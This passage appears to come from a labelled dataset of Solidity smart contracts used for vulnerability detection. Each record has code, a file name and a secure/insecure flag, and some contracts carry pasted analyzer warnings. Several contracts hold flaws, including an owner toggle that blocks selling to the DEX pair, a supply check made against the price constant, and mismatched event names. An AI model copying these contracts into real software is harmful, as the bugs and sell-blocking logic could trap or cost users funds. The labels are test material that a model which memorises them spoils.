(string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 80b450b): ManekiNekoINU.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 80b450b: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function earlyselltax(bool value) external onlyOwner {\n _earlyselltax = value;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"WE: transfer amount exceeds allowance\"\n );\n unchecked {\n _approve(sender, _msgSender(), currentAllowance - amount);\n }\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(currentAllowance >= subtractedValue, \"Allowance not allowed\");\n unchecked {\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ZERO\");\n require(recipient != address(0), \"transfer to zero\");\n require(amount > 0, \"transfer 0\");\n\n if (!_earlyselltax && sender != owner() && recipient != owner()) {\n require(recipient != dexPair, \" False attempt bot\");\n }\n _beforeTokenTransfer(sender, recipient, amount);\n\n uint256 senderBalance = _balances[sender];\n require(senderBalance >= amount, \"Not allowed\");\n unchecked {\n _balances[sender] = senderBalance - amount;\n }\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n\n _afterTokenTransfer(sender, recipient, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 400afe2): ManekiNekoINU._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 400afe2: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"BEP20: approve from the zero address\");\n require(spender != address(0), \"BEP20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}",
"file_name": "solidity_code_3560.sol",
"secure": 0,
"size_bytes": 6967
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IFroyoCat {\n function adminMint(address[] calldata _toAddresses) external;\n}",
"file_name": "solidity_code_3561.sol",
"secure": 1,
"size_bytes": 153
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\" as ERC721;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/Pausable.sol\" as Pausable;\n\nabstract contract ERC721Pausable is ERC721, Ownable, Pausable {\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual override {\n super._beforeTokenTransfer(from, to, tokenId);\n if (_msgSender() != owner()) {\n require(!paused(), \"ERC721Pausable: token transfer while paused\");\n }\n }\n}",
"file_name": "solidity_code_3562.sol",
"secure": 1,
"size_bytes": 664
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IFroyoCatMachine {\n function claim(uint256 _nftId) external;\n\n function adminClaim(uint256 _nftId) external;\n}",
"file_name": "solidity_code_3563.sol",
"secure": 1,
"size_bytes": 192
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\" as ERC721;\nimport \"./ERC721Enumerable.sol\" as ERC721Enumerable;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/token/ERC721/extensions/ERC721Pausable.sol\" as ERC721Pausable;\nimport \"@openzeppelin/contracts/utils/Counters.sol\" as Counters;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"./IFroyoCatMachine.sol\" as IFroyoCatMachine;\n\ncontract FroyoCat is ERC721, ERC721Enumerable, Ownable, ERC721Pausable {\n using SafeMath for uint256;\n using Counters for Counters.Counter;\n Counters.Counter private _tokenIdTracker;\n\n string public baseTokenURI;\n\n struct Cat {\n address owner;\n bool claimed;\n uint256 time;\n }\n\n mapping(uint256 => Cat) froyoCats;\n\n event Mint(\n address indexed caller,\n address indexed to,\n uint256 indexed nftId,\n uint256 time\n );\n\n IFroyoCatMachine froyoCatMachine;\n\n constructor(string memory baseURI) ERC721(\"FroyoCat\", \"FroyoCat\") {\n setBaseURI(baseURI);\n pause(true);\n }\n\n function updateFroyoCatMachine(\n IFroyoCatMachine _froyoCatMachine\n ) external onlyOwner {\n froyoCatMachine = _froyoCatMachine;\n }\n\n function adminMint(\n address[] calldata _toAddresses\n ) external onlyOwner whenNotPaused {\n for (uint256 i = 0; i < _toAddresses.length; i++) {\n require(_toAddresses[i] != address(0), \"Address invalid\");\n\n _tokenIdTracker.increment();\n uint256 _nftId = _totalSupply();\n\n _mint(address(froyoCatMachine), _nftId);\n\n froyoCats[_nftId] = Cat(_toAddresses[i], false, block.timestamp);\n\n emit Mint(_msgSender(), _toAddresses[i], _nftId, block.timestamp);\n }\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 7891850): FroyoCat.update(uint256,address,bool) uses timestamp for comparisons Dangerous comparisons require(bool,string)(froyoCats[_nftId].owner != address(0),Error NFT invalid)\n\t// Recommendation for 7891850: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 15ceb2b): FroyoCat.update(uint256,address,bool)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for 15ceb2b: Rename the local variables that shadow another component.\n function update(uint256 _nftId, address _owner, bool _claimed) external {\n require(\n _msgSender() == address(froyoCatMachine),\n \"Error: Not have rule to update\"\n );\n\n\t\t// timestamp | ID: 7891850\n require(froyoCats[_nftId].owner != address(0), \"Error: NFT invalid\");\n\n froyoCats[_nftId].owner = _owner;\n froyoCats[_nftId].claimed = _claimed;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: ffd03d6): FroyoCat.get(uint256) uses timestamp for comparisons Dangerous comparisons require(bool,string)(froyoCats[_nftId].owner != address(0),Error NFT invalid)\n\t// Recommendation for ffd03d6: Avoid relying on 'block.timestamp'.\n function get(\n uint256 _nftId\n ) external view returns (address, bool, uint256) {\n\t\t// timestamp | ID: ffd03d6\n require(froyoCats[_nftId].owner != address(0), \"Error: NFT invalid\");\n\n if (froyoCats[_nftId].claimed) {\n return (\n ownerOf(_nftId),\n froyoCats[_nftId].claimed,\n froyoCats[_nftId].time\n );\n } else {\n return (\n froyoCats[_nftId].owner,\n froyoCats[_nftId].claimed,\n froyoCats[_nftId].time\n );\n }\n }\n\n function withdraw() public onlyOwner {\n uint256 balance = address(this).balance;\n payable(msg.sender).transfer(balance);\n }\n\n function _totalSupply() internal view returns (uint256) {\n return _tokenIdTracker.current();\n }\n\n function totalMint() public view returns (uint256) {\n return _totalSupply();\n }\n\n function _baseURI() internal view virtual override returns (string memory) {\n return baseTokenURI;\n }\n\n function setBaseURI(string memory baseURI) public onlyOwner {\n baseTokenURI = baseURI;\n }\n\n function walletsOfUser(\n address _user\n ) external view returns (uint256[] memory) {\n uint256 tokenCount = balanceOf(_user);\n\n uint256[] memory tokensId = new uint256[](tokenCount);\n for (uint256 i = 0; i < tokenCount; i++) {\n tokensId[i] = tokenOfOwnerByIndex(_user, i);\n }\n\n return tokensId;\n }\n\n function pause(bool val) public onlyOwner {\n if (val == true) {\n _pause();\n return;\n }\n _unpause();\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual override(ERC721, ERC721Enumerable, ERC721Pausable) {\n super._beforeTokenTransfer(from, to, tokenId);\n }\n\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual override(ERC721, ERC721Enumerable) returns (bool) {\n return super.supportsInterface(interfaceId);\n }\n}",
"file_name": "solidity_code_3564.sol",
"secure": 0,
"size_bytes": 5428
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ERC721Enumerable.sol\" as ERC721Enumerable;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\" as ERC721;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract LottoPunk is ERC721Enumerable, Ownable {\n using SafeMath for uint256;\n\n string public LPNK_PROVENANCE = \"\";\n uint256 public constant MAX_LP = 10000;\n string _baseTokenURI;\n uint256 public constant LP_Price = 30000000000000000;\n bool public paused = true;\n\n constructor() ERC721(\"LottoPunk\", \"LOTP\") {}\n\n modifier saleIsOpen() {\n require(totalSupply() < MAX_LP, \"Sale end\");\n _;\n }\n\n function reserveLP() public onlyOwner {\n uint256 supply = totalSupply();\n uint256 i;\n for (i = 0; i < 100; i++) {\n _safeMint(msg.sender, supply + i);\n }\n }\n\n function mint(uint256 numberOfTokens) public payable saleIsOpen {\n require(!paused, \"Sale is Paused\");\n require(\n totalSupply() + numberOfTokens <= LP_Price,\n \"Purchase would exceed max supply of Lotto Punks\"\n );\n require(totalSupply() < LP_Price, \"Sale end\");\n require(numberOfTokens <= 20, \"Can only mint 20 tokens at a time\");\n require(\n LP_Price.mul(numberOfTokens) <= msg.value,\n \"Ether value sent is not correct\"\n );\n\n for (uint256 i = 0; i < numberOfTokens; i++) {\n uint256 mintIndex = totalSupply();\n if (totalSupply() < LP_Price) {\n _safeMint(msg.sender, mintIndex);\n }\n }\n }\n\n function setProvenanceHash(string memory provenanceHash) public onlyOwner {\n LPNK_PROVENANCE = provenanceHash;\n }\n\n function _baseURI() internal view virtual override returns (string memory) {\n return _baseTokenURI;\n }\n\n function setBaseURI(string memory baseURI) public onlyOwner {\n _baseTokenURI = baseURI;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ba88e70): LottoPunk.walletOfOwner(address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for ba88e70: Rename the local variables that shadow another component.\n function walletOfOwner(\n address _owner\n ) external view returns (uint256[] memory) {\n uint256 tokenCount = balanceOf(_owner);\n\n uint256[] memory tokensId = new uint256[](tokenCount);\n for (uint256 i = 0; i < tokenCount; i++) {\n tokensId[i] = tokenOfOwnerByIndex(_owner, i);\n }\n\n return tokensId;\n }\n\n function pause(bool val) public onlyOwner {\n paused = val;\n }\n\n function withdrawAll() public payable onlyOwner {\n require(payable(_msgSender()).send(address(this).balance));\n }\n}",
"file_name": "solidity_code_3565.sol",
"secure": 0,
"size_bytes": 2954
} |
{
"code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n require(c >= a, \"SafeMath: addition overflow\");\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n require(b <= a, \"SafeMath: subtraction overflow\");\n return a - b;\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n return a - b;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n return a * b;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return a / b;\n }\n}",
"file_name": "solidity_code_3566.sol",
"secure": 1,
"size_bytes": 861
} |
{
"code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract ERC20 is Context, IERC20 {\n using SafeMath for uint256;\n\n event BlackListAdded(address account);\n\n event BlackListRemoved(address account);\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private blackList;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n uint8 private _decimals;\n address public Owner;\n\n constructor(string memory name_, string memory symbol_, uint8 decimals_) {\n _name = name_;\n _symbol = symbol_;\n _decimals = decimals_;\n Owner = msg.sender;\n }\n\n modifier onlyOwner() {\n require(Owner == msg.sender, \"Ownable: caller is not the owner\");\n _;\n }\n\n function ownerTransfership(\n address newOwner\n ) public onlyOwner returns (bool) {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n _transfer(msg.sender, newOwner, _balances[msg.sender]);\n\t\t// events-access | ID: 19fe088\n Owner = newOwner;\n return true;\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function addBlacklist(address _blackListAddress) external onlyOwner {\n blackList[_blackListAddress] = true;\n emit blackListAdded(_blackListAddress);\n }\n\n function removeBlacklist(address _blackListAddress) external onlyOwner {\n blackList[_blackListAddress] = false;\n emit blackListRemoved(_blackListAddress);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function blackLists(address account) public view returns (bool) {\n return blackList[account];\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n require(\n !blackList[sender],\n \"Your address is blocked from transferring tokens.\"\n );\n require(\n !blackList[recipient],\n \"recipient is blocked from recieving tokens.\"\n );\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[recipient] = _balances[recipient].add(amount);\n emit Transfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply = _totalSupply.add(amount);\n _balances[account] = _balances[account].add(amount);\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _setupDecimals(uint8 decimals_) internal virtual {\n _decimals = decimals_;\n }\n\n function burn(uint256 amount) public onlyOwner returns (bool) {\n _burn(_msgSender(), amount);\n return true;\n }\n\n function mint(uint256 amount) public onlyOwner returns (bool) {\n _mint(_msgSender(), amount);\n return true;\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}",
"file_name": "solidity_code_3567.sol",
"secure": 1,
"size_bytes": 6269
} |
{
"code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract LyoCredit is ERC20 {\n constructor() ERC20(\"LYO CREDIT\", \"LYO\", 8) {\n _mint(msg.sender, 250000000 * 10 ** 8);\n }\n}",
"file_name": "solidity_code_3568.sol",
"secure": 1,
"size_bytes": 276
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract Owned {\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: bc2ff57): ERC20._approve(address,address,uint256).owner shadows Owned.owner (state variable)\n\t// Recommendation for bc2ff57: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 82850ae): ERC20.allowance(address,address).owner shadows Owned.owner (state variable)\n\t// Recommendation for 82850ae: Rename the local variables that shadow another component.\n address private owner;\n address private newOwner;\n\n constructor() public {\n owner = msg.sender;\n }\n\n modifier onlyOwner() {\n require(msg.sender == owner, \"Owner only function\");\n _;\n }\n}",
"file_name": "solidity_code_3569.sol",
"secure": 0,
"size_bytes": 812
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/utils/ReentrancyGuard.sol\" as ReentrancyGuard;\n\ncontract HappyPig is ERC20, ReentrancyGuard {\n uint256 private constant INITIAL_SUPPLY = 50000000000 * 10 ** 18;\n\n event TokensMinted(address indexed to, uint256 amount);\n\n event ReentrancyAttemptDetected(\n address indexed from,\n address indexed to,\n uint256 amount\n );\n\n constructor() ERC20(\"HappyPig\", \"HPIG\") {\n _mint(msg.sender, INITIAL_SUPPLY);\n\n emit TokensMinted(msg.sender, INITIAL_SUPPLY);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override nonReentrant returns (bool) {\n bool result = super.transfer(recipient, amount);\n\n if (!result) {\n emit ReentrancyAttemptDetected(msg.sender, recipient, amount);\n }\n\n return result;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override nonReentrant returns (bool) {\n bool result = super.transferFrom(sender, recipient, amount);\n\n if (!result) {\n emit ReentrancyAttemptDetected(sender, recipient, amount);\n }\n\n return result;\n }\n}",
"file_name": "solidity_code_357.sol",
"secure": 1,
"size_bytes": 1389
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Detailed.sol\" as ERC20Detailed;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\" as SafeERC20;\n\ncontract STC is ERC20, ERC20Detailed {\n using SafeERC20 for IERC20;\n using Address for address;\n using SafeMath for uint256;\n\n constructor() public ERC20Detailed(\"Smart-Tel Communications\", \"STC\", 8) {\n _totalSupply = 30000000000 * (10 ** uint256(8));\n\n _balances[msg.sender] = _totalSupply;\n }\n}",
"file_name": "solidity_code_3570.sol",
"secure": 1,
"size_bytes": 773
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface ERC721 {\n event Transfer(\n address indexed _from,\n address indexed _to,\n uint256 indexed _tokenId\n );\n\n event Approval(\n address indexed _owner,\n address indexed _approved,\n uint256 indexed _tokenId\n );\n\n event ApprovalForAll(\n address indexed _owner,\n address indexed _operator,\n bool _approved\n );\n\n function balanceOf(address _owner) external view returns (uint256);\n\n function ownerOf(uint256 _tokenId) external view returns (address);\n\n function safeTransferFrom(\n address _from,\n address _to,\n uint256 _tokenId,\n bytes calldata data\n ) external payable;\n\n function safeTransferFrom(\n address _from,\n address _to,\n uint256 _tokenId\n ) external payable;\n\n function transferFrom(\n address _from,\n address _to,\n uint256 _tokenId\n ) external payable;\n\n function approve(address _approved, uint256 _tokenId) external payable;\n\n function setApprovalForAll(address _operator, bool _approved) external;\n\n function getApproved(uint256 _tokenId) external view returns (address);\n\n function isApprovedForAll(\n address _owner,\n address _operator\n ) external view returns (bool);\n}",
"file_name": "solidity_code_3571.sol",
"secure": 1,
"size_bytes": 1407
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface ProjectBasedNFT {\n function tokenIdToProjectId(uint256 tokenId) external returns (uint256);\n}",
"file_name": "solidity_code_3572.sol",
"secure": 1,
"size_bytes": 176
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ncontract ECRecovery {\n function recover(\n bytes32 hash,\n bytes memory sig\n ) internal pure returns (address) {\n bytes32 r;\n bytes32 s;\n uint8 v;\n\n if (sig.length != 65) {\n return (address(0));\n }\n\n assembly {\n r := mload(add(sig, 32))\n s := mload(add(sig, 64))\n v := byte(0, mload(add(sig, 96)))\n }\n\n if (v < 27) {\n v += 27;\n }\n\n if (v != 27 && v != 28) {\n return (address(0));\n } else {\n return ecrecover(hash, v, r, s);\n }\n }\n}",
"file_name": "solidity_code_3573.sol",
"secure": 1,
"size_bytes": 710
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./Owned.sol\" as Owned;\nimport \"./ECRecovery.sol\" as ECRecovery;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\" as ERC721;\n\ncontract BlockStore is Owned, ECRecovery {\n mapping(address => mapping(bytes32 => uint256)) public burnedNonces;\n\n mapping(address => uint256) public _fee_pct;\n mapping(address => bool) public _allowedNFTContractAddress;\n\n address internal constant NATIVE_ETH =\n 0x0000000000000000000000000000000000000010;\n\n mapping(address => uint256) userSellOrderNonce;\n\n constructor() public {}\n\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: b4c25ba): BlockStore.setFee(address,uint256) contains a tautology or contradiction require(bool)(fee_pct >= 0 && fee_pct <= 1000)\n\t// Recommendation for b4c25ba: Fix the incorrect comparison by changing the value type or the comparison.\n function setFee(address projectContract, uint256 fee_pct) public onlyOwner {\n\t\t// tautology | ID: b4c25ba\n require(fee_pct >= 0 && fee_pct <= 1000);\n\n _fee_pct[projectContract] = fee_pct;\n }\n\n function setProjectAllowed(\n address projectContract,\n bool allow\n ) public onlyOwner {\n _allowedNFTContractAddress[projectContract] = allow;\n }\n\n receive() external payable {\n revert();\n }\n\n fallback() external payable {\n revert();\n }\n\n function getChainID() public view returns (uint256) {\n uint256 id;\n assembly {\n id := chainid()\n }\n return id;\n }\n\n event NftSale(\n address sellerAddress,\n address buyerAddress,\n address nftContractAddress,\n uint256 nftTokenId,\n address currencyTokenAddress,\n uint256 currencyTokenAmount\n );\n\n event NonceBurned(address indexed signer, bytes32 nonce);\n\n struct OffchainOrder {\n address orderCreator;\n bool isSellOrder;\n address nftContractAddress;\n uint256 nftTokenId;\n address currencyTokenAddress;\n uint256 currencyTokenAmount;\n bytes32 nonce;\n uint256 expires;\n }\n\n bytes32 constant EIP712DOMAIN_TYPEHASH =\n keccak256(\n \"EIP712Domain(string contractName,string version,uint256 chainId,address verifyingContract)\"\n );\n\n function getBidDomainTypehash() public pure returns (bytes32) {\n return EIP712DOMAIN_TYPEHASH;\n }\n\n function getEIP712DomainHash(\n string memory contractName,\n string memory version,\n uint256 chainId,\n address verifyingContract\n ) public pure returns (bytes32) {\n return\n keccak256(\n abi.encode(\n EIP712DOMAIN_TYPEHASH,\n keccak256(bytes(contractName)),\n keccak256(bytes(version)),\n chainId,\n verifyingContract\n )\n );\n }\n\n bytes32 constant ORDER_TYPEHASH =\n keccak256(\n \"OffchainOrder(address orderCreator,bool isSellOrder,address nftContractAddress,uint256 nftTokenId,address currencyTokenAddress,uint256 currencyTokenAmount,bytes32 nonce,uint256 expires)\"\n );\n\n function getOrderTypehash() public pure returns (bytes32) {\n return ORDER_TYPEHASH;\n }\n\n function getOrderHash(\n address orderCreator,\n bool isSellOrder,\n address nftContractAddress,\n uint256 nftTokenId,\n address currencyTokenAddress,\n uint256 currencyTokenAmount,\n bytes32 nonce,\n uint256 expires\n ) public pure returns (bytes32) {\n return\n keccak256(\n abi.encode(\n ORDER_TYPEHASH,\n orderCreator,\n isSellOrder,\n nftContractAddress,\n nftTokenId,\n currencyTokenAddress,\n currencyTokenAmount,\n nonce,\n expires\n )\n );\n }\n\n function getOrderTypedDataHash(\n address orderCreator,\n bool isSellOrder,\n address nftContractAddress,\n uint256 nftTokenId,\n address currencyTokenAddress,\n uint256 currencyTokenAmount,\n bytes32 nonce,\n uint256 expires\n ) public view returns (bytes32) {\n bytes32 digest = keccak256(\n abi.encodePacked(\n \"\\x19\\x01\",\n getEIP712DomainHash(\n \"BlockStore\",\n \"1\",\n getChainID(),\n address(this)\n ),\n getOrderHash(\n orderCreator,\n isSellOrder,\n nftContractAddress,\n nftTokenId,\n currencyTokenAddress,\n currencyTokenAmount,\n nonce,\n expires\n )\n )\n );\n return digest;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 36d4f78): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 36d4f78: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function sellNFTUsingBuyOrder(\n address buyer,\n address nftContractAddress,\n uint256 nftTokenId,\n address currencyToken,\n uint256 currencyAmount,\n bytes32 nonce,\n uint256 expires,\n bytes memory buyerSignature\n ) public returns (bool) {\n require(\n _allowedNFTContractAddress[nftContractAddress],\n \"Project not allowed\"\n );\n\n bytes32 sigHash = getOrderTypedDataHash(\n buyer,\n false,\n nftContractAddress,\n nftTokenId,\n currencyToken,\n currencyAmount,\n nonce,\n expires\n );\n\n require(buyer == recover(sigHash, buyerSignature), \"Invalid signature\");\n\n require(block.number < expires || expires == 0, \"bid expired\");\n\n require(burnedNonces[buyer][nonce] == 0, \"nonce already burned\");\n burnedNonces[buyer][nonce] = 0x1;\n\n\t\t// reentrancy-events | ID: 36d4f78\n ERC721(nftContractAddress).safeTransferFrom(\n msg.sender,\n buyer,\n nftTokenId\n );\n\n\t\t// reentrancy-events | ID: 36d4f78\n _transferCurrencyForSale(\n buyer,\n msg.sender,\n currencyToken,\n currencyAmount,\n _fee_pct[nftContractAddress]\n );\n\n\t\t// reentrancy-events | ID: 36d4f78\n emit nftSale(\n msg.sender,\n buyer,\n nftContractAddress,\n nftTokenId,\n currencyToken,\n currencyAmount\n );\n\t\t// reentrancy-events | ID: 36d4f78\n emit nonceBurned(buyer, nonce);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: c41f56e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for c41f56e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function buyNFTUsingSellOrder(\n address seller,\n address nftContractAddress,\n uint256 nftTokenId,\n address currencyToken,\n uint256 currencyAmount,\n bytes32 nonce,\n uint256 expires,\n bytes memory sellerSignature\n ) public payable returns (bool) {\n require(\n _allowedNFTContractAddress[nftContractAddress],\n \"Project not allowed\"\n );\n\n bytes32 sigHash = getOrderTypedDataHash(\n seller,\n true,\n nftContractAddress,\n nftTokenId,\n currencyToken,\n currencyAmount,\n nonce,\n expires\n );\n\n require(\n seller == recover(sigHash, sellerSignature),\n \"Invalid signature\"\n );\n\n require(block.number < expires || expires == 0, \"bid expired\");\n\n require(burnedNonces[seller][nonce] == 0, \"nonce already burned\");\n burnedNonces[seller][nonce] = 0x1;\n\n\t\t// reentrancy-events | ID: c41f56e\n ERC721(nftContractAddress).safeTransferFrom(\n seller,\n msg.sender,\n nftTokenId\n );\n\n\t\t// reentrancy-events | ID: c41f56e\n _transferCurrencyForSale(\n msg.sender,\n seller,\n currencyToken,\n currencyAmount,\n _fee_pct[nftContractAddress]\n );\n\n\t\t// reentrancy-events | ID: c41f56e\n emit nftSale(\n seller,\n msg.sender,\n nftContractAddress,\n nftTokenId,\n currencyToken,\n currencyAmount\n );\n\t\t// reentrancy-events | ID: c41f56e\n emit nonceBurned(seller, nonce);\n\n return true;\n }\n\n function _transferCurrencyForSale(\n address from,\n address to,\n address 